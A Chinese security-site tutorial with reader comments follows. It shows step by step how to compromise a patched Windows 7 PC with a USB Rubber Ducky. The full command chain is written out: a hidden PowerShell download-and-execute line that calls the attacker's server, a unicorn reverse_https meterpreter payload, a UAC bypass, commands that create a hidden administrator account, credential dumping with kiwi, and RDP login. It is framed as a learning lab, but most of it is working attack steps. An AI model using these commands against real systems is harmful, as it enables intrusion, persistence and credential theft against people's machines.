橡皮鸭
本文将演示如何使用USB Rubber Ducky和unicorn攻击一台运行AVG2015杀毒软件并且补丁全部打上的Windows 7电脑。本教程仅供学习,请勿用作非法用途。
准备
进行实验所要做的准备:
Windows 7 (受害者主机)
Kali Linux 2.0 (攻击者主机)
USB Rubber Ducky 硬件
注意:Windows 7 和 Kali系统可以是虚拟运行的也可以是实体运行的,但是我们建议在专门的实体硬件上运行Windows7以防止USBRubber Ducky模拟键盘HID的时候虚拟化技术将动态更改USB分配。
获得payload
1. 从Hakshop 购买USB Rubber Ducky Deluxe
2. 访问 USB Rubber Ducky的Wiki 使用其中的模板payload
3. 复制 “Payload – Powershell Wget + Execute” GUI r DELAY 100STRING powershell -windowstyle hidden (new-objectSystem.Net.WebClient).DownloadFile(‘http://example.com/bob.old’,’%TEMP%\bob.exe’);Start-Process “%TEMP%\bob.exe”
4. 将默认的URL“http://example.com”改成你自己的域名或IP地址。我的设定是:GUIr DELAY 100 STRING powershell -windowstyle hidden (new-objectSystem.Net.WebClient).DownloadFile(‘http://192.168.1.115/win/anything.txt’,’%TEMP%\drop.cmd’);Start-Process “%TEMP%\drop.cmd” ,然后按回车
5. 把你修改过的代码粘贴到在线DuckToolkit编码器中,选择键盘样式,然后点击生成脚本。
6. 下载“inject.bin” 和 “inject.txt” 文件。把“inject.bin” 复制到Rubber Ducky中的SD卡中,“inject.txt” 供参考之用
7.把micro SD卡插入micro SD USB适配器(不是RubbyDucky),然后插入Kali电脑。
8.将“inject.bin”文件从你的下载文件夹复制到Micro SD卡根目录
9.接下来我们用unicorn生成payload。从GitHub下载unicorn.py。Unicorn是一款使用PowerShell降级攻击的简单工具,它会把shellcode直接注入到内存中。这个项目给予MatthewGraeber的Powershell攻击和DavidKennedy (TrustedSec) 和Josh Kelly在Defcon 18上展示的powershell绕过技巧。
10.在浏览器菜单点击“文件”-“保存为”选项,将页面保存到你的文件系统,我把它放在了桌面上的一个叫USB_RD的文件夹里。
11.用“unicorn.py”生成反向https meterpreter payload。待会你要运行pythonunicorn.py windows/meterpreter/reverse_https 192.168.1.115 8443,记得修改里面的IP地址和端口。
12. 这时两个文件都生成完毕, “powershell_attack.txt” 和“unicorn.rc”。将powershell_attack.txt 命名为第四步中你打算放在服务器上的文件名。我的是“anything.txt”。
注意:“unicorn.rc”文件可以被用在metasploit会话中以建立监听器。
13.复制payload文件“anything.txt”到你的web服务器上。我的文件在web根目录下(步骤4中制定的)
14.开启apache2 web服务器,然后用tail查看日志文件,这样就能看到来自Windows7的请求。
注意:tail的“-f” 参数能够保证文件实时更新
15. 现在我们启动meterpreter 监听器。打开新的终端窗口,进入unicorn.rc 文件所在的目录,然后启动metasploit: msfconsole -runicorn.rc
16.将micro SD卡从攻击主机(Kali)中拔出,然后插入到USBRubber Ducky中。
打上全部补丁的Windows 7 + AVG 2015
Windows 7 网络信息
插入橡皮鸭
17. 在Windows 7中插入USB Rubber Ducky ,稍等片刻等待主机识别设备并执行代码。注意查看web服务器日志,这是你唯一能用来判断是否正常工作的东西。
重要事项:如果你在虚拟机内实验,在插入USB Rubber Ducky之前你得确保Windows7主机处于活跃状态,以防你把橡皮鸭插到别的主机上。
18. 如果Rubber Ducky正常运行了,你马上会看到它在下载你服务器上的文件,然后你还应该看到有个meterpreter会话打开了
19. 接着我们到meterpreter 会话中看看我们能干什么。你可以运行sysinfo 、ipconfig查看主机信息。sessions -i 1
UAC绕过
20.由于UAC的关系,目前为止,我们还没有系统权限
21. 我们看看能不能用别的模块绕过UAC,经过几番实验后,我们发现bypassuac_vbs可以用来绕过。
22. 设置exploit,然后设置其他payload返回你一个有权限的shell。这次我们使用标准的反向tcp因为创建其他reverse_https通道好像有问题。
23. 执行这个exploit,然后等待建立第二个没有UAC限制的会话
24. 我们看看能不能获取权限
25. 成了!接下来我们创建一个管理员帐号 (haxtorDaMan) 把它提升到管理员组,并且成为远程桌面用户。
net user haxtorDaManhax@Pass50 /add net localgroup “Administrators” haxtorDaMan /add net localgroup“Remote Desktop Users” haxtorDaMan /
26. 我们现在可以到Windows7机器上看看用户有没有创建成功
27. 接下来我们看看能否用kiwi获取明文密码:load kiwi meterpreter> creds_all
远程连接
28. 接着我们尝试用RDP连接到Windows 7,首先在msfconsole运行enable_rdp模块。把SESSION设置为无UAC限制的有权限的session,我的是SESSION2
29. 然后用haxtorDaMan账号登录:xfreerdp /v:192.168.1.108 /port:3389/size:1600×900/u:haxtorDaMan /p:hax@Pass50
Note: 我实验的时候rdesktop 不支持Windows加密会话,所以用了xfreerdp。
相关阅读:
BadUSB的前世今生:USB RUBBER DUCKY和Teensy USB
*参考来源:InformationSecurity,FB小编Sphinx编译,文章有修改,转载请注明来自Freebuf黑客与极客(FreeBuf.COM)
- 上一篇:剪贴板劫持:复制粘贴中暗藏杀机
- 下一篇:rop-tool:一款辅助撰写二进制exp的工具
-
Black-Hole(6级)FreeBuf专栏作者回复以下是hack5回复的邮件内容:
The HakShop has a strict shipping policy. The countries omitted from our processing and shipping list are due to one or several of these specific reasons:
-The country's laws prohibit the import of Wifi Routers or electronics sold from our store.
-More than 50% of packages sent are lost, destroyed or abandoned.
-Packages have been returned and marked unable to import from US mail box centers
-There is an Embargo, an official ban on trade or other commercial activity with a particular country.
I apologize for the inconvenience. Our shipping software and credit card processor will only support the countries on our shipping and fulfillment list.
Orders may be placed from and shipped to the following nations:
Australia, Austria, Belgium, Canada, Denmark, Finland, France, Germany, Greece, Greenland, Hungary, Iceland, Ireland, Italy, Lithuania, Luxembourg, Mexico, Monaco, Netherlands, New Zealand, Norway, Poland, Portugal, Romania, Slovakia, Slovenia, Spain, Sweden, Switzerland, Turkey, United Kingdom, United States.
Here is a link to our policy page for further information:
hakshop.com/policy
大体就是说:“我们不运给中国,支持的运送国家里没有中国”)12(亮了 -
小道儿回复谁能破费买一个,把原理图拔出来。官方提供Firmware, Encoders and Toolkits,直接山寨掉,价格也就200一个。)6(亮了
0daybank
已有 15 条评论
。。。。。嗯,确实绕过了杀软和全补丁,哈哈
usb设备枚举阶段出的问题?
又看了一下,好像是模拟键盘输入的
以下是hack5回复的邮件内容:
The HakShop has a strict shipping policy. The countries omitted from our processing and shipping list are due to one or several of these specific reasons:
-The country’s laws prohibit the import of Wifi Routers or electronics sold from our store.
-More than 50% of packages sent are lost, destroyed or abandoned.
-Packages have been returned and marked unable to import from US mail box centers
-There is an Embargo, an official ban on trade or other commercial activity with a particular country.
I apologize for the inconvenience. Our shipping software and credit card processor will only support the countries on our shipping and fulfillment list.
Orders may be placed from and shipped to the following nations:
Australia, Austria, Belgium, Canada, Denmark, Finland, France, Germany, Greece, Greenland, Hungary, Iceland, Ireland, Italy, Lithuania, Luxembourg, Mexico, Monaco, Netherlands, New Zealand, Norway, Poland, Portugal, Romania, Slovakia, Slovenia, Spain, Sweden, Switzerland, Turkey, United Kingdom, United States.
Here is a link to our policy page for further information:
hakshop.com/policy
大体就是说:“我们不运给中国,支持的运送国家里没有中国”
越玩越高级了
高级高级高级高级
绕过了杀毒软件和补丁会怎样的呢?
关键还是 模拟环境实际中还是困难重重的
好奇 橡皮鸭不就是按键模拟器么?
绕过UAC提权是亮点 学习了
谢谢分享谢谢分享
windows7 所有版本?
谁能破费买一个,把原理图拔出来。官方提供Firmware, Encoders and Toolkits,直接山寨掉,价格也就200一个。
有哪个大神教教我怎么不借助外界工具修改电脑的开机 密码